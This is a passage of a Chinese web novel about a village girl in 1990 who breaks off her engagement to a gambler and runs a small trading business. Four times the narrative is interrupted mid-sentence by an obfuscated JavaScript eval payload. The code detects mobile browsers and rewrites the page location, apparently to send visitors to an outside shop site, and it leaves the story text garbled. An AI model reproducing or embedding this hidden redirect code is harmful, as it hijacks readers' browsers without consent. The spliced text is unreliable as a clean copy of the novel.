《从农村姑娘到亿万富婆[九零]》 1. 第一章 故事要从一场退婚开始。 1990年的第一场雪，来的晚了些，也突然了点。 早起还是个大晴天，等到了下午，忽的飘起了雪花，一开始并不引人注意，可就低头钠两针鞋底的功夫，再一抬头，漫天飘雪。 “可算下雪了，再不下雪，来年开春地都没办法种。”出门扫雪的人们三五成群的聚在一起，面带笑容的讨论这迟来的初雪。 “可不咋地，这眼瞅着都阳历年了……这雪可真大！ 这雪可真大！ 屋子里，赵淑芬拿着鸡毛掸子，第三次掸家里唯一的大件——缝纫机上不存在的灰。 一边干活，一边望着窗外，好像期盼谁，又好像怕谁回来。 一旁，韩老四挠着脑袋，半天，对坐在一旁的年轻小伙，憋出一句“家里鸡鸭鹅狗啥都挺好的哈。” 范志强擦擦额头不存在的汗。“是是，都挺好。” 这么一会，他家里的父母，兄弟，鸡鸭鹅狗，秋收存粮都被问候一遍。 “哦，那就好。”韩老四点头，重复着好好好，也不知道接着该说点啥，只能望着窗外的雪发呆。“那就好。” 他本就不是个话多的，更何况，这个未过门的女婿马上就要成为过去式，更是没啥好聊的。 范志强也望着窗外的雪发呆，内心还有些忐忑。几天前，韩丽娟路过他们村，又被她抓住自己在赌牌，当时她脸色就很不好。 只不过当时人多，她没说啥就走了。今天中午天气不好，几个从街里过来玩牌的伙伴急忙回去，他闲下来，想起他妈说这冬天也没接娟子来他家待一段，就骑着自行车过来了。 没想到韩丽娟不在家，而她爸妈脸色不太好，她是不是把他赌牌的事情跟家里说了？ 范志强在韩家等了半天，也没等到韩丽娟回来，终于抬起屁股，走了。他的到来，让赵淑芬今日隐约平稳的情绪，再次高涨，此刻到达巅峰！ 三天前，韩丽娟扔下炸弹就跑她奶家，留下风中凌乱的韩老四两口子，俩人这两天又要消化闺女要退婚的事，又要去打听风声，接受事实，今天还得陪着这么个虎玩意，没磕硬唠俩小时。 她很生气！ “当初王二麻子给保媒的时候，那说的是天上有地上无的，第一次来咱家，我一看，长得人模狗样，没想到驴粪蛋子表面光，这叫啥事，啊，这叫啥事！”这几天，她骂好几场了，逮着功夫就骂，逮着功夫就骂。 “你就说，是不是虎*揍的，哪个好人大雪天来接人的！他不懂事，他爸妈也不懂事？这传出去，我家姑娘顶着风雪也要去他家串门子，他是啥香饽饽啊！” 骂骂咧咧也没耽误她干活，麻线穿过鞋底，欻欻作响。”哎我跟你说话呢，你没听见啊！”她是跟韩丽娟他爸说话。 “听见了。”韩老四应道。韩丽娟他爸，他在自家兄妹里排行老大，但是算上叔辈兄弟，他排老四，所以，外人多称呼他老四，四哥，四叔等等…… “那你倒说话呀？” “我说啥，都这样了，那就退了吧。”韩老四倒是情绪稳定，他一直情绪稳定，这辈子没见到他跟谁急过。 这几天两口子也静下心商量过，晚上熄了灯，躺在炕上，俩人唠着这门亲事怎么成的，未来女婿爹妈啥样，他上门来的时候啥表现，家里七拐八拐的亲戚都干啥的，以及这两天打听到的消息。虽然话没说出口，但俩人心知肚明的，这婚是要退的。但板上钉钉的亲事，突然出了岔劈，搁谁身上都有气，更何况，退亲也不仅仅是退亲那么简单。 “你说的轻巧！孩子转过年就二十了，退了亲，再找人家，等结婚孩子都多大了！再说，这十里八村的，跟她年龄相当没定亲的都剩的是啥人家了，远的不说，前屯子那个李老四，年纪轻轻的，那棉衣前大襟亮的都能照镜子，多懒散啊。还有咱屯子那个何老宝子，油瓶倒都不带扶一下的，这都是啥人！！！” 这眼看着过年了，过完年开春就忙着春耕。等闲出功夫来的时候，得夏天了。可你有功夫，不代表就能相到人家，就算来年夏天定下来了，俩孩子至少得接触一年半载的，最快，后年年底能成亲。 要是不顺利呢？三年五年都有可能。 “要不然咋整，能不退呀？”韩老四端着烟簸箕，卷着旱烟，他闺女的性子他知道，决定的事，八头毛驴都拉不回。 再说，那老范家的小子，年纪轻轻的就好赌，以后不一定啥样呢。 “你自己闺女啥样你不知道啊，死倔死倔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060111|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她说要退，还有理，你能不退？咱们要是硬逼着她，能把房子给咱们掀了。这倔劲，不知道随谁了，我看就随你们老韩家那支子跟。” 关于韩丽娟的性子，两口子想到一起去了。 “嘿嘿，这话说的，我闺女不随我随谁，总不能随当街过道的。”韩老四嘿嘿笑道。“不行找老三，让他在街里给寻摸寻摸，有没有啥好人家，街里人定亲都晚，说不定……” “街里那么好嫁呢，差的人家还不如咱们种地的呢，好的那鼻孔子朝天，谁能看见你啊。再说，咱闺女也没个工作，嫁过去天天手心朝上，看人脸色过日子啊。”退亲好说，可再找一个可不那么好找。 “别总想那不好的，咱闺女也不差啥，我不信找不到好人家。”韩老四说道。 “慢慢寻觅吧。” 事已至此，两口子都劝自己放宽心。 “淑芬啊，在家呢？” 两口子正商量，屋门开了，隔着屋门玻璃朝门口望去，是西头的张大嫂。“老张大嫂，快来，上炕坐。”赵淑芬忙招呼。 坐在炕沿边上的韩老四赶紧站起来，让出位置，拿个凳子坐一边去。 “淑芬，你家还有甜菜疙瘩没？”老张大嫂也没客气，坐那就直接问道。 “还有，哎，你去看看，冻没冻。”赵淑芬指挥韩老四。 韩老四出去了，不一会拎着一筐进屋了。“甜菜樱子盖着呢，还用麻袋装着，我看了，还行，里面的没冻。” “我就寻思你家养猪，能留这玩意，我家交完指标，剩下的也全卖给糖厂了，结果，今天小三媳妇突然说馋这玩意，吃不到嘴抓心挠肝的。”老张大嫂接过筐，拿手扒拉着说。 她小儿媳妇怀孕了，前一阵一直吐，这好不容易想吃点东西，咋地也得给找到。 老张大嫂拿了东西，也没久留，很快走了。 “她小儿媳妇跟咱家娟子差不多大小吧？”赵淑芬说。 “好像大点，也不多。”村里的新媳妇，差不多都是二十出头。就连他们家老大媳妇，也就比娟子大不到一岁。这年头，没几个结婚太晚的。女孩子二十三四结婚，绝对的晚婚。 “唉！”两口子不约而同叹气，感觉刚刚放宽的心，又揪起来了。 2. 第 2 章 迎着漫天飞雪，韩丽娟踩着二八杠，喘着粗气，朝着屯子前行。 雪花飘落在身上，就连她的刘海儿，眉毛上都粘了一层，下巴上的围脖，也被哈气打湿，起了一层霜。天地一片白茫茫，只有红围脖飘过，留下一串车辙。 从街里回屯子，将近二十里地，雪越下越大，她越骑越热，冬天很多人不爱出门，让她捎东西的人就多了，他三五天跑一次街里，每次都能赚三毛五毛的，加上帮她老叔收的鹅毛，今年冬天保守估计，她能赚一百多。 想着她的小铁盒里又要增加的存款，蹬车都有劲了。 “呼~呼……” 一片白茫茫中，隐约看见炊烟飘起，终于要到家了。 “大姐，大姐！” 突然，一个小黑影朝她跑来，边跑边挥舞着棉手捂子。 “二蛋？”韩丽娟定睛一看，是二叔家的弟弟。“这么大的雪，不在家里待着，跑出来干啥，不怕冻坏了？” “大姐，大娘说，让你千万别回家。”小男孩终于跑到韩丽娟身边，呼哧带喘的。“那个，那个谁来了。” 说着眼睛往西北方向望去，西北方向，还不让她回来，韩丽娟一猜就是范家来人了。 她妈去跟范家说退亲的事情了？不应该啊，按照她妈的性格，去之前，还是会跟她好好唠一唠的。 那这大雪嚎天的，来人干啥？ 韩丽娟没想明白，也不想在路边多想。“来，上车，我带你去你奶家。” 她在她爷奶家住三天了，本来想着今天回家跟她妈唠唠，看来不行。 …… “刷刷刷……”外面扫雪的声音渐停。 “这雪怎么越下越大了！”一个头发灰白的老太太，靠着窗边坐着，本来还拿在手里的鞋底子，也扔到炕上不管了，抻着脖子趴在窗户上往外望，不时的还拿抹布擦一擦上了霜气的玻璃。 玻璃窗外订了一层塑料布，其实看不大清外面。 下这么大的雪，也不知道娟子回不回来，二蛋那傻小子在村头迎他大姐，知不知道冷了去附近人家屋里待一会呀。 还有老头子，扫着扫着雪又不知道跑哪嘚瑟去，这功夫用人都找不到人影。 “不行，我的去看看。”老太太终于坐不住了，要出去，临下炕，又往窗外瞅一眼。 这一看，还真叫她看着了，一个红围脖推着自行车拐进院子，二八大杠上还坐着一个小子。“可算回来了。” 她下炕，先往炉子里填上苞米瓤，用炉钩子通一通，让火着的旺起来。 然后，拎起放在炕梢的扫炕笤帚，开门出去。 韩丽娟已经把自行车推进马棚，正用手扑落绑在后座包裹上的雪。“我来。”老太太走过来，用笤帚扫上面的雪。“下这么大雪，还往回赶！”看似埋怨的话语里，充满心疼。 三两下扫完包裹，又开始扫韩丽娟身上的雪，后背，头顶。几乎都被雪铺满。 “在街里遇到八屯的刘二嫂子，我俩搭伴就一起回来了。”韩丽娟转过身，背对着老太太，同时摘下围脖，抖落上边的雪粒子。 “行了，回屋再整，快进屋，上炕暖和暖和。”扫完雪，老太太赶紧安排到。 三人互相帮扶，抬着包裹，拎着三角兜子，急匆匆跑进屋里。 把棉大衣围脖都挂屋里的晾衣绳上，韩丽娟爬上炕。“喵！”一下子就把手伸到躺在炕头的老猫身体下，可真暖和呀。“哎~”韩丽娟发出舒服的叹谓。 老黑猫卷成一团，埋着脑袋，只漏出一只眼睛，睁开扫一下，又闭上了，呼噜噜声音响起。 东北的大火炕，是寒冷地带温暖的象征。热乎乎的，尤其是晚上，忙碌一天，伸直腰板躺在炕上的那一瞬间，幸福都具象化了。 “冻坏了吧。”老太太这时候也坐在炕沿上，开始拆包裹。包裹是用白面袋子缝的，看上去挺结实。 “不冷，骑车都骑出汗了，就是脸蛋被风吹的有点木。”韩丽娟暖了手，也拎过三角兜子开始往外倒腾，本夹子，铅笔，火柴，阳黄历，嘎啦油……都是些小玩意。最后的最后，从兜子里掏出两串糖葫芦。惹来在一旁看热闹的二蛋一串欢呼。 “喏！”韩丽娟将糖葫芦递给二蛋“你跟你哥一人一串，不许打架。” 二蛋拿着糖葫芦，怼到老太太嘴前。“奶，给你吃一口。” “又酸又硬又凉的，我不吃这玩意。”老太太躲开嘴，说道。 “奶，大姐，那我回家啦。”他惦记着回去跟他哥大蛋分吃糖葫芦。 “回去进屋再吃，别在路上戗风冷气的，吃完了肚子疼，知道不！”老太太又忙着嘱咐到。 “不用急着去我家，等人走了你再去就行。”韩丽娟也跟着嘱咐一句。他们两家挨着，东西院，谁家来人走人的，另一家在屋里都能看清楚。 “知道啦。”噔噔噔，小孩拿着糖葫芦，一边回话，一边已经开门跑出去了。 “这臭小子。”小男孩走了，老太太包裹也拆开了，里面是一兜子的海带，有干的有盐渍的，有丝有片，还有一点干虾米。 这几年，几乎每年冬天都有这么一个包裹，里面的东西差不多都是这些，老太太也不觉得意外，她低头一边分整着这些东西，一边问：“娟子，你跟老范家那小子到底咋回事，他咋这大雪嚎天的过来？” “奶，我看家里洋火没了，买了一包，给。”韩丽娟没接那话，而是递给老太太一包火柴。 老太太接过火柴，从裤兜里掏出一个叠起来的手绢，打开，里面有一小沓钱，最小的一分，最大的两毛。老太太从中数出火柴钱，递给韩丽娟。“给你钱。” “我不要。”韩丽娟没接。 “给你就拿着，我跟你爷还能动弹呢，用不着你花钱给我们买东西。”老太太坚持要给。偶尔小辈买点吃喝他们就受着了，但是过日子用的东西， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060112|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪能让小辈给花钱。 “奶，一包洋火的钱还跟我算这么清楚，我真不要。”这几天在她爷奶家，又吃又住的，她现在可是正年轻能吃的时候，一顿不少吃，花点钱应当应分的，但这话不能说出来，说出来她奶准生气。 “你还年轻，以后花钱的地方多着呢。”老太太把钱扔在韩丽娟身上，又重新把手绢包起来，揣回兜里。“娟子你记住，爹有娘有，不如自己有，手别太松，赚点钱那么容易呢。” 大冬天的帮着她老叔收鹅毛，帮村里人从街里捎东西赚那三分五厘的，也难为一个年轻的小姑娘这么能吃苦。“奶问你，你到底咋想的，你妈说你挣命似的的要退亲，到底为啥。”火柴的事情处理完，老太太又旧话重提。大儿媳妇前天跟她说的时候，还带着气，说一大堆没几句有用的，还没说到底为啥要退亲，老头子就进屋了，事情也没个章程呢，老大媳妇不想让全家跟着操心，就没接着说。 “唉！”韩丽娟叹口气。 “年纪轻轻的，别总叹气，好好说话。” “奶，这冬天我去取鹅毛路过他们村子几次，每次都见到他在打牌，瘾可大了。”韩丽娟说道。 “大冬天的，玩几把也不是啥大毛病。”这真不是老太太胡乱开脱。入冬活少了，屯子里每天都有人打牌，摸对胡，414，三打一……男女老少齐上阵，牌局从早到晚都有。老太太想了想，凑近说道。“娟子，你跟奶说实话，你是不是自己偷偷处朋友了，所以不想要这个。”孙女总往街里跑，认识什么人也是有可能呢，娟子这孩子心野，偷摸处对象这种事，也不是不可能。 “哎呀，奶，这怎么可能。”韩丽娟哭笑不得。“他可不是随便玩几把，他玩拖拉机，我听他们屯子人说了，他们那一伙人，玩的挺大，有时候一天输赢好几百，还有街里混的人过去找他们玩，设赌局。我跟他说过两次，不让他跟着玩，他答应的好好的，转身还去玩，也不知道多大的瘾，这样的人，我可不敢嫁。” “唉！”这回叹气的变成老太太了。“这是说大不大，说小不小。” “啥玩意说大不大，说小不小啊？”说话间，她爷回来了。 “干啥去了？”老太太看着老头子，忍不住质问。“下这么大雪也能出去溜达。” “李大小子家马棚不行了，怕雪压塌了，就过去帮着整整。”老韩头解释。 “就你好心！”老太太不是那不讲理的人，但是想到自己孙女糟心的婚事，想到李家跟范家的关系，忍不住嘟囔两句。 李大孝子他弟，李二小子，是范志强的亲姑父。 “你看，都是实在亲戚，帮把手的事儿。”老韩头不理解。 “谁跟他家实在亲戚！”老太太更生气，“不跟你说了，娟子，饿了吧。这天这么冷，我烙几张油饼，熬点酸菜汤，程老师邮来的海带我泡点，拌个凉菜，咋样。” “太好了！”韩丽娟点头。“我烧火。” 3. 第 3 章 “妈，嘿嘿嘿……” 第二天一早，吃过早饭，韩丽娟就回来了。 “这是程老师给邮的海带，我奶让给你拿点，说你爱吃，妈，你看我奶对你好吧。”韩丽娟笑嘻嘻的说道。 “我跟你奶认识的时候，还没你呢，不用你说。”赵淑芬一把拿过东西，没好气的瞥一眼韩丽娟。“我看你这几天在你奶家待得挺消停啊，舍得回来了？” “这不是怕你生气嘛，你都那么生气了，我还在你眼前晃悠，你不更生气？” “这功夫知道怕我生气了？”赵淑芬用质疑的语气问。“你出去看看，谁家孩子敢跟爹妈这么说话，还说我跟你爸给你包办婚姻，咋地，这男的你没看到还是不认识？是不是你点头了，这才定的亲！” “对对对，我点头了，我又反悔了，是我的问题。但我也不是脑瓜子一热就要退亲，我都说了他赌，你还是不同意，我那不是着急吗。” 这是韩丽娟人生中第一次需要自己去做一个很大的抉择。定亲的时候，虽然也是她点头做了决定。但那时候，她是众多同意这门亲事人中的一员。 可退亲是她一个人做的决定，当她说出来，她妈妈不支持的时候，她确实慌乱了一下。 “我跟你爸不得找人打听打听，看你是不是在那见风就是雨。我说你是皇帝啊，说那话跟颁圣旨似的，你说啥我跟你爸立马照办，一刻都不能等呗？”韩老四两口子这几天也托人打听了，确实有这么一回事。 “妈，你干活可真沙楞，这就打听出来了！咋样，我是不是没顺嘴胡说？”听话听音，韩丽娟从她妈话语间，品出松动之意。只要结果是好的，她也不跟他妈掰扯那天他妈为啥只说不同意，根本就没说他俩要去打听这事，想来她冷不丁提出退亲，也把她爸妈砸懵了。 其实昨天给她传信不让她回家，她就知道，她爸妈这边是有了退亲的想法，不然，昨天薅也得把她从她奶家薅回去，跟范志强见一面。 “打听出来了，你没骗我！”说完这句话，赵淑芬突然坐直身子，面色和语气都变得严肃起来。“大闺女，妈问你，要是他真改了，这婚能不退不？” 韩丽娟没有立即回答，而是低头沉思的一会，才缓缓地说：“妈，那天我去找他，他站在赌桌前，一条腿踩着凳子，胳膊杵在这条大腿上，半个身子都要趴在桌子上了，双眼通红，嗓子喊得都哑了。我叫了他好几声，他才发现我，他说让我等一会儿，他玩完那把的。过来找我的时候，还说让桌上的人等他，我说怎么又玩上了，他说才玩不一会，街里来了两个哥们，他陪一陪。我俩还没上说两句，那边叫他，他就急忙跑过去，都没跟我说啥……” 他没问她怎么来的，中午吃饭没，啥时候走……甚至对于被抓住又在赌牌这件事，也不觉得难堪。他所有心思都在那张桌上，那几张牌上。 “这个杂种*的！”听完韩丽娟的话，赵淑芬狠狠地拍了下大腿。“退，我一会去找你哥，让他套上马车，去二队把你王二大爷接来。”话音刚落，却又下地趿拉着鞋就去穿棉袄。“不行，我现在就去，你去你二叔家，看你爸忙完没，忙完就让他回来杀个小鸡。” 她二叔家今天淘大黄米，准备包豆包，体力活，她爸帮忙去了。 “哎！”韩丽娟脆生生的应道。 …… 靠近中午，王二麻子到了。 赵淑芬透过窗户看见人，迎了出来，韩丽娟跟着一起。 “老四媳妇，这么急着找我，是想定日子了吧，娟子这孩子真是越长越出息。”他笑呵呵的从马车上下来，一开口洋溢着喜气。 “这么冷的天，还让你折腾一趟，真是麻烦老王二哥啦。快进屋，外头冷。”赵淑芬热情的把人迎进屋。 “二哥，来啦。”韩老四从外屋地下（厨房）走出来。跟着一起进了屋。 韩丽娟叫了声二大爷就去了厨房。 她爸把菜都准备的差不多了。小鸡剁了，土豆皮削了，面和了，菜板上有一颗切了一半的酸菜。 今天要准备四个菜，小鸡炖土豆，拌凉菜，炒鸡蛋和花生米，主食酸菜馅饺子。 她开始剁馅。 屋里倒没有立即说退亲或者定日子的事情，他们在讨论收成，说今年的年景，说来年开春的计划。 等她剁完酸菜，倒上水要洗攥的时候她哥收拾完马车进来了。“我来，水凉。”。 韩丽娟让出地方，说道：“我看爸有个鸡大腿没剁，是整根的，一会做熟了你给嫂子端回去。”她嫂子怀孕了，五个多月。 “嗯呢。”他哥龇牙咧嘴的攥酸菜，冬天的水拔拔凉。 这句话说完，俩人就没说话，她烧火，她哥炖小鸡。 她哥本来话就少，以前都是她说他听，今天韩丽娟有心事，面色严肃，不想说话，他以为他妹妹脸皮薄不好意思了，也没吭声。 厨房安静且忙碌。 等酒菜摆好，王二麻子滋溜喝了一口酒后，率先说话了。“老四，老四媳妇，你们是有啥事要说吧。” 平时日子家里来客人了，总要有陪客的，就算他不是啥稀客，东院韩老五媳妇是他堂叔辈妹妹，哪次他过来，那两口都在，这次却没叫过来，一定是有说法。他看出来，叫他来应该不是为了定结婚日子。 “前些日子，我听到些闲话，说老范家那小子天天耍大钱，我们两口子打听了下，还真有这么回事。”韩老四也没打磕巴，直截了当的说。 这事真挺好打听，就是冬天大家都不爱四处溜达，消息传的不远，不然范家小子聚众赌博消息能传出二十里地。 “真的？”王二麻子放下酒杯，问，他还真没听说这事。“那你们想咋办？” “嗯，”韩老四点头“我跟娟她妈商量一下，这门亲事我们想退了。” “娟子，你咋想的？”王二麻子转头问韩丽娟。 “我闺女听话，听我们的。”韩丽娟还没开口，赵淑芬抢先说。 “噗嗤~”王二麻子笑了。“老四媳妇，听听孩子咋说，这是你家，你们两口也在跟前，我还能害孩子？” 顿了顿，他又接着说“年轻人谁都有犯错的时候，俩孩子要是感情好，我再在中间调和调和，让他把这爱赌的毛病戒了，也不一定非要退亲。” “二大爷，我要退亲。我找对象，也不求他大富大贵，但是人要正气，吃喝嫖赌这样的事万万不能沾。”韩丽娟说道。“我知道二大爷是为了我好，毕竟是知根知底的人家，离家也近，再找一个不一定啥样，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060113|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能还比不上范志强，可我不愿意，我想退亲，我怕将就这一次，以后一辈子都要将就。” 她到现在还记得那天的范志强的表情，贪婪，痴迷，甚至隐隐约约还有一股子狠劲，让她觉得厌恶又可怕。 这不是第一次被她看到他赌博，第一次的时候，她想着劝一劝，那时候他还假装听一听，说不赌。虽然当时知道他赌钱心里不舒服，但想着能劝住，她妥协了，想着再看看。 但谁知道，人家就是敷衍了事，她的话就是耳旁风。她家里没有赌的人，但是这两年见闻也不少，那些赌的人，没有一个有好结果的，不仅仅是自己人生毁了，也害了家人。她不想以后的人生，要跟着这样的一个人。 她不太懂什么感情不感情的，但她应该不怎么喜欢范志强，她决定退亲的时候，也就难过纠结那么一两天，而且，最让她纠结的是如何跟家里开口，爸妈不同意咋办。 “娟子这孩子通透。”王二麻子点点头。“按说老范家也是正经过日子人家，你们知道我，我虽然爱保媒拉纤，但是我可不随便乱牵线，那都是看好的。可谁知道……” 要是因为别的事退亲，他总是要多劝劝的，人无完人，不管是感情，还是过日子，都是互相迁就，哪有那么可丁可卯的俩人。 但是涉及到赌，这玩意他也不敢深劝，该说的话他说到，人家就是要退，他也不坚持，这可是一辈子的事。 “谁说不是呢，要是这孩子当初不好，我们也不能点头啊。”赵淑芬接过话茬，“老王二哥，咱们都是过来人，那赌博的人有几个不是败家子的，打老婆卖孩子的也不是没有，我们可不敢赌。” “哎呀，就是没缘分。”王二麻子问：“那你们想啥时候，年前就把这事办利索呗？” “嗯呢，年前就办理索吧，我寻思年前办完，隔一个年，不耽误年后看人家，到时候还得麻烦二哥。”赵淑芬说。 “行，明后天我去他们屯子走一趟。你们两家没过礼，也没啥要还要退的，这事也不难办。”毕竟是老媒人，王二麻子也不是第一次去帮人退亲。 “让二大爷费心了。”韩丽娟发自真心的说。 “这有啥，这都是媒人该干的，你放心娟子，你二大爷到时候再给你寻觅。” 一顿饭也算吃的宾主尽欢，冬日天短，吃过饭，王二麻子也没久留，就要往回走。 韩丽娟跟父母站在大门口，目送他哥拉着王二麻子走远，这才溜达的往回走。 “大嫂，我看我二哥来了？”隔着一个抬腿就能跨过的墙头，王红梅站在那，打听到。 “嗯呢，你来我家坐会？”她妈回。东西院住着，院墙也矮，两家没啥秘密可言。 “我锅里烀着豆馅呢。”王红梅有些心动，但……“哎，你看着点锅，我去大哥家坐一会儿。”她趴在窗户上，朝屋里说道。 “那你们娘几个唠吧，我去老二家待会。”王红梅跨过来，韩老四跨过去。 “妈，二婶，我去给人送东西。”韩丽娟拎着三角兜子也走了，昨天雪太大不好去别人家，今天又忙着退亲的事情，她得赶紧给人送货去，不然耽误太久。 “去吧，去吧，这一天，比郭嘉主。席都忙。”赵淑芬摆摆手，跟王红梅开始蛐蛐。 4. 第 4 章 “娟子，你这东西都跟供销社一个价，有的比供销社都便宜，你还能赚钱吗？”村里一个大娘问道。“大娘没别的意思，就是好奇。” 冬日里农活相对的少了，大家聚一起嗑瓜子聊天，韩丽娟是最爱被提及的年轻人之一。谈论的内容一是佩服她能干，二是计算计算能赚多少钱，三嘛，就是这孩子在哪淘腾的货呢！ 韩丽娟见怪不怪了，隔三差五的，就有人这么问。附近几个村，也不止韩丽娟一个腿勤快的人，好多人也想着跑个腿，捎点东西，赚个零花钱，但是去街里打听一圈，谁也拿不到比韩丽娟还便宜的东西。 “大娘，我要是卖贵了，你还能在我这买啊！”韩丽娟笑嘻嘻的说。农村人过日子仔细，恨不得一分钱掰成两半花，她的东西但凡比别处贵一分一离，都卖不动，这年头，为了省一分钱，跑一趟街里，并不是什么奇怪的事儿。 体力又不花钱，省下的钱却是实打实的。 “娟子，那你能赚多少钱啊？”这时，屋子里另一个大娘问道。 韩丽娟过来的时候，屋里几个大爷大娘聚在一起打扑克唠嗑呢，人多且热闹。 “我赚啥钱，我这功夫就卖了一管嘎啦油，一分钱都没赚上，大娘这些鹅毛钱嘎啦油抹全身都够了。”韩丽娟检查一遍鹅毛没问题，称了重量，将钱递出去。“大娘，数数看对不对，要说挣钱能手呀，还得是各位大娘们，养的鸡鸭鹅，哪个不赚钱。” “哎妈呀，大鹅太能吃了，来年啊，我可不养了。” “你看看，还是娟子会说话。” “娟子，你跟你老叔今年还收不收小鸡大鹅？这眼瞅着都阳历年了，咋还没动静呢？” 一时之间，说笑的，问话的，声音此起彼伏。 “今年过年晚，不收那么早，但是保证收，各位大爷大娘家里的小鸡，鹅子啥的都给我留着，都给你们好价钱。还有年前县里大集，我跟我老叔摆摊卖春联、花生啥的，各位大爷大娘要去街里赶集的话，去我们那转转，买啥都给你们便宜。” “行行行。”众人乐呵的点头。临走前，韩丽娟兜里被塞了一把瓜子。“刚炒的。” “这孩子能说会道的，多好。” “人她奶都说，老韩家全家的嘴都长她这大孙女一人身上了，其他的都是闷嘴葫芦。” “那她奶谦虚了，她那几个儿媳妇，那嘴！一个比一个厉害……” “那都是纸老虎，能干成事的还得是娟子。” “你又知道了？” “她奶说的嘛！” 韩丽娟拎着鹅毛走了，但关于韩丽娟的话题，还没结束。 冬日天短，就在村子里转一圈没往外走，天就擦黑了，最近他们村子停电，黑咕隆咚的，煤油灯蜡烛不够亮堂，收货容易看花眼，韩丽娟就回家了。 “你是不是又给那两个蛋花钱了？” 她刚进屋，她妈就冷不丁来这么一句。 “咋，我二婶说的？”韩丽娟一边忙碌，一边反问，她先是脱掉厚重的大棉衣棉鞋，穿上二棉衣棉拖鞋，又把收上来的货送到西屋。 冬日天冷，两屋烧火废柴，她现在都在她爸妈这屋睡。她跟她妹的房间就用来堆放她的这些东西。 “你别管谁说的，你就说是不是吧！”话虽然还硬气，但细听，能感觉出跟头句比起来，差了些气势。 “没有哇！”韩丽娟矢口否认。 冬日里两顿饭，今天家里来且，过午这顿吃的早，晚上得饿，韩丽娟去厨房转了一圈，找了两个小土豆，洗净擦干，拿屋里，塞到炉篦子下，扒拉点灰盖上，不然上面火太大，容易把土豆烤糊。 “……”这死孩子这嘴，赵淑芬一肚子的话，全都被憋回去。“你不用跟我俩打哈哈，我都知道，我就是告诉你，钱别乱花。” “没乱花，妈你咋就看见我给大蛋二蛋花钱，你支使他俩干活你咋看不见。”埋完土豆，韩丽娟又拿起盆去厨房大锅里舀水，忙一天，她要烫烫脚。 “你就不能消停坐会，跟你说话呢。”这功夫，因为韩丽娟里屋外屋的晃悠，坐在炕上的赵淑芬脖子也跟着来回转悠。 “妈，我这不刚进屋嘛，现在消停了。说吧，不乱花钱，行，我知道了，然后呢？”打完水，韩丽娟坐在炕沿上开始泡脚。 然后？这……赵淑芬看了一眼韩老四。 “然后把钱给你妈。”一直躺在炕梢没说话的韩老四吱声了。 “嘶！你啊，要是不会说话就别说，这屋里多你除了多个喘气的，还能干啥！” 赵淑芬被她姑娘搞起来的一腔小怒火全部发泄到韩老四身上，这人，她是想把钱从闺女那要来，但那是怕她乱花，叫他这一说，好像是她眼馋姑娘那点钱似的。 她是让他说话，但是能不能别说的这么直白！ “这话说得，不喘气那不死了？”韩老四支棱坐起来。“你泡脚不？我给你打水去。” 赵淑芬沉默。 怎么摊上这么个死脑瓜骨的男人，顺着刚才的话接着说呀，打什么洗脚水。 “泡，再给我兑点开水，要热点。”赵淑芬点头。 “大闺女，你那钱妈给你攒着吧。”赵淑芬也做到炕边，开始泡脚。“本来你要结婚了，妈就没管。但你这婚事黄了，你拿着那么多钱干啥？” “妈，我手里这钱还有用呢，不能给你。”韩丽娟想都没想就拒绝。 “干啥用？”赵淑芬不理解，买点本子夹子，收点鹅毛，用多少钱。“你留点周转，剩下的放我这。你放心，妈不贪，等你结婚了，妈全都给你。” 她原来没把这事放心上，今天下午跟王红梅唠嗑的时候，王红梅说起糖葫芦的事情，让赵淑芬上心了，娟子不知道啥时候结婚，她手里拿着那么多钱不把握，再叫人骗了呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060114|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我知道你看不上我那点钱，但马上过年了，我跟我老叔不得备点货嘛，备货不要本钱啊。” “啥玩意！你跟你老叔卖货，你还掏钱？” 赵淑芬瞪眼睛，脚丫子差点没把盆踩漏。还有这死丫头咋说话呢，啥叫她看不上那点钱，她可太看得上了。 “妈，我不跟着掏本钱，到时候我咋跟我老叔分钱？”韩丽娟疑惑。 